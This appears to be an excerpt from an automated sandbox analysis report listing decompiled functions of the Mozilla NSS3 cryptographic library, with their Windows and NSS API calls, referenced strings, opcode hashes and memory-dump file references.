PR_NewCondVar.NSS3(00000000,?,6C761193), ref: 6C761C91

Part of subcall function 6C63BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6421BC), ref: 6C63BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C761193), ref: 6C761CA7

Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BBEB
Part of subcall function 6C63BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C63BBFB
Part of subcall function 6C63BB80: GetLastError.KERNEL32 ref: 6C63BC03
Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C63BC19
Part of subcall function 6C63BB80: free.MOZGLUE(00000000), ref: 6C63BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C761193), ref: 6C761CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C761193), ref: 6C761CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C761193), ref: 6C761CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C761193), ref: 6C761D1A

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C761193), ref: 6C761D3D

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C761193), ref: 6C761D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C761193), ref: 6C761D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C761193), ref: 6C761D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C761193), ref: 6C761D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C761193), ref: 6C761D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C761193), ref: 6C761D93
PR_DestroyLock.NSS3(00000000,?,?,6C761193), ref: 6C761D9F
free.MOZGLUE(00000000,?,6C761193), ref: 6C761DA8

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 6c7e2f02e8570ce814a314284ab90945894fe80d8608731887db8dd2ac86fa3d
Instruction ID: 85b987fcfce732bd404d97219e18d5fa91ee99ced115377579d106a6781fb84d
Opcode Fuzzy Hash: 6c7e2f02e8570ce814a314284ab90945894fe80d8608731887db8dd2ac86fa3d
Instruction Fuzzy Hash: 0831A6F1E007016BEB209F65ED45A6776E4AF0274DB044438E84A87F41FB31E518CB9A

Function 6C675E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C675ECF
EnterCriticalSection.KERNEL32(?), ref: 6C675EE3
PR_Unlock.NSS3(?), ref: 6C675F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C675FB5

Strings

S&il, xrefs: 6C6762E3
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6761F4
S&il, xrefs: 6C675E6C, 6C67627F, 6C675F12

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&il$S&il
API String ID: 2280678669-799787219
Opcode ID: a01734e54dcb5544aa6796c02f32b13131f1dec228462bff5f04959cac5bfc07
Instruction ID: 72babd3dec1150e0d7e59fb28f89b766a4738306dc6d7f89be3ed7cd6f4321ee
Opcode Fuzzy Hash: a01734e54dcb5544aa6796c02f32b13131f1dec228462bff5f04959cac5bfc07
Instruction Fuzzy Hash: BCF106B5A00215CFDB54CF28C884B86BBF4FF09304F1586AAD9089B746E774DA85CFA5

Function 6C6C0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,ll), ref: 6C6C0C81

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

Part of subcall function 6C698500: SECOID_GetAlgorithmTag_Util.NSS3(6C6995DC,00000000,00000000,00000000,?,6C6995DC,00000000,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C698517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0CC4

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C6C0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C6C0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C6C0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C6C0D7D
free.MOZGLUE(00000000), ref: 6C6C0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0DC1
free.MOZGLUE(00000000), ref: 6C6C0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6C0E0F

Part of subcall function 6C6995C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C6995E0
Part of subcall function 6C6995C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C6995F5
Part of subcall function 6C6995C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C699609
Part of subcall function 6C6995C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C69961D
Part of subcall function 6C6995C0: PK11_GetInternalSlot.NSS3 ref: 6C69970B
Part of subcall function 6C6995C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C699756
Part of subcall function 6C6995C0: PK11_GetIVLength.NSS3(?), ref: 6C699767
Part of subcall function 6C6995C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C69977E
Part of subcall function 6C6995C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C69978E

Strings

-$ll, xrefs: 6C6C0C64
*,ll, xrefs: 6C6C0DCC
*,ll, xrefs: 6C6C0C69, 6C6C0DE0, 6C6C0C80, 6C6C0C8B, 6C6C0CAF

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,ll$*,ll$-$ll
API String ID: 3136566230-2285576193
Opcode ID: 8333f21d81759eb397c0448cc2312b2ba086d505cc51359efba5e5f6d111d463
Instruction ID: 989f0a31c556c2584ab16ee8ceb368326daa378d13eb2ffb1eeb58679e14f785
Opcode Fuzzy Hash: 8333f21d81759eb397c0448cc2312b2ba086d505cc51359efba5e5f6d111d463
Instruction Fuzzy Hash: C641C0F1A01246ABEB009F64AC45BEF7AB4EF0530CF104424E91967741E735BA18CBEB

Function 6C6B5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C6B5EC0,00000000,?,?), ref: 6C6B5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C6B5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C6B5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C6B5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C6B5EC0,00000000,?,?), ref: 6C6B5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C6B5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C6B5D80

Strings

multiaccess:, xrefs: 6C6B5CB8
dbm:, xrefs: 6C6B5D03, 6C6B5D60
sql:, xrefs: 6C6B5CD1, 6C6B5D36
extern:, xrefs: 6C6B5CEA, 6C6B5D4B
NSS_DEFAULT_DB_TYPE, xrefs: 6C6B5D1A

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: b27bc9e914a4eb71551638f57f32eb34a7953721c0e96f3deb399b311a6b594f
Instruction ID: 4ff4066e98020141919391a073129acfe0af4377828fae0ad03100717c82ce2e
Opcode Fuzzy Hash: b27bc9e914a4eb71551638f57f32eb34a7953721c0e96f3deb399b311a6b594f
Instruction Fuzzy Hash: DA31F7A07413516BE7011A38EC49BEA37ECAF02349F144630EE55F6A82E772D521C39D

Function 6C6B6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C781DE0,?), ref: 6C6B6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C6B6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C6B6D82
DER_GetInteger_Util.NSS3(?), ref: 6C6B6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6B6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C6B6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C6B6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C6B6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C6B6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6B7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C6B7033
free.MOZGLUE(?), ref: 6C6B703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C6B7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C6B7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6B70AF

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 22b7a8d2ef676f60125aca13eedd16664bc92c3fee75bc7053f74d697f8e4f05
Instruction ID: de297760b8e4570902a3f08134cf0cf4033cff3bd29828cb874390a473a00e34
Opcode Fuzzy Hash: 22b7a8d2ef676f60125aca13eedd16664bc92c3fee75bc7053f74d697f8e4f05
Instruction Fuzzy Hash: 8FA129B19082019BEB188F24DC45B9B33A5DB8130CF244939F919EBB81E775D866C75B

Function 6C67AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF39
PR_Unlock.NSS3(?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF69
TlsGetValue.KERNEL32 ref: 6C67B06B
EnterCriticalSection.KERNEL32(?), ref: 6C67B083
PR_Unlock.NSS3(?), ref: 6C67B0A4
TlsGetValue.KERNEL32 ref: 6C67B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C67B0D9
PR_Unlock.NSS3 ref: 6C67B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B182

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C67B177

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1C2

Part of subcall function 6C6A1560: TlsGetValue.KERNEL32(00000000,?,6C670844,?), ref: 6C6A157A
Part of subcall function 6C6A1560: EnterCriticalSection.KERNEL32(?,?,?,6C670844,?), ref: 6C6A158F
Part of subcall function 6C6A1560: PR_Unlock.NSS3(?,?,?,?,6C670844,?), ref: 6C6A15B2

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: b4256934b1a81df0f31671c799b54010b8c6d9927f5b717cc7dd99fa5dae8639
Instruction ID: c73c720e395a00100922ccd4b5ebd6714f69580e21471cf4aa05a7fbd812be4f
Opcode Fuzzy Hash: b4256934b1a81df0f31671c799b54010b8c6d9927f5b717cc7dd99fa5dae8639
Instruction Fuzzy Hash: B2A1D1B1D00206ABEF109F64DC41BEEB7B4EF49308F144524E905A7712E732E959CBAA

Function 6C672C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?gl,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C62
EnterCriticalSection.KERNEL32(0000001C,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C76
PL_HashTableLookup.NSS3(00000000,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C93

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23), ref: 6C672CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?), ref: 6C672CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?), ref: 6C672D4D
EnterCriticalSection.KERNEL32(?), ref: 6C672D61
PL_HashTableLookup.NSS3(?,?), ref: 6C672D71
PR_Unlock.NSS3(?), ref: 6C672D7E

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

#?gl, xrefs: 6C672C43

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?gl
API String ID: 2446853827-3528240498
Opcode ID: 405cd4fe03c96939331ebee95d1cd3edca420f304c070ba4366a49c951f4120c
Instruction ID: 9ad7b14718b6e1c8ee91811fa165ace448525d4ee584b7cf5fde45cca95f9b67
Opcode Fuzzy Hash: 405cd4fe03c96939331ebee95d1cd3edca420f304c070ba4366a49c951f4120c
Instruction Fuzzy Hash: B351E5B5D00605EBDB109F24DC458AA77B8FF1A35CB148930ED1897B11EB31E964C7E9

Function 6C6CAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CADB1

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6CADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6CAE08

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6CAE25
PL_FreeArenaPool.NSS3 ref: 6C6CAE63
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C6CAE4D

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CAE93
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C6CAECC
PL_FreeArenaPool.NSS3 ref: 6C6CAEDE
PL_FinishArenaPool.NSS3 ref: 6C6CAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CAEF5
PL_FinishArenaPool.NSS3 ref: 6C6CAF16

Strings

security, xrefs: 6C6CADEE

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 61bff6b2bb6bf6a80249b080d97401dd5a9447dabf5a7986831d16c69e5a71cd
Instruction ID: 30b04a4a87e8a1d094b011f1db4aa56e5b106d5621c01bb42be3d72708355082
Opcode Fuzzy Hash: 61bff6b2bb6bf6a80249b080d97401dd5a9447dabf5a7986831d16c69e5a71cd
Instruction Fuzzy Hash: 43413AB1A04304A7E7205B18EC49BAB72B8EF4630CF140625E914A2F42F735DA1AC7DF

Function 6C76AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C719890: TlsGetValue.KERNEL32(?,?,?,6C7197EB), ref: 6C71989E

EnterCriticalSection.KERNEL32(?), ref: 6C76AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C76AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C76AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C76AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C76B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B070
PR_JoinThread.NSS3(?), ref: 6C76B07B
free.MOZGLUE(?), ref: 6C76B084
EnterCriticalSection.KERNEL32(?), ref: 6C76B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B0C4
PR_JoinThread.NSS3(?), ref: 6C76B0F3
free.MOZGLUE(?), ref: 6C76B0FC
PR_JoinThread.NSS3(?), ref: 6C76B137
free.MOZGLUE(?), ref: 6C76B140

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 21fd622904193fc153ff19e6334f295dae96a49c9dfabf141f1235502bf79b4f
Instruction ID: f9ddc9833ab67dbbcbe1a80a245148f32037fe0ed269237f433b6ae319585ef8
Opcode Fuzzy Hash: 21fd622904193fc153ff19e6334f295dae96a49c9dfabf141f1235502bf79b4f
Instruction Fuzzy Hash: 52916DB5900601DFCB04DF16C98494ABBF1FF8535872985A9E8195BF22E732FC46CB91

Function 6C6E5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2BF0
Part of subcall function 6C6E2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C07
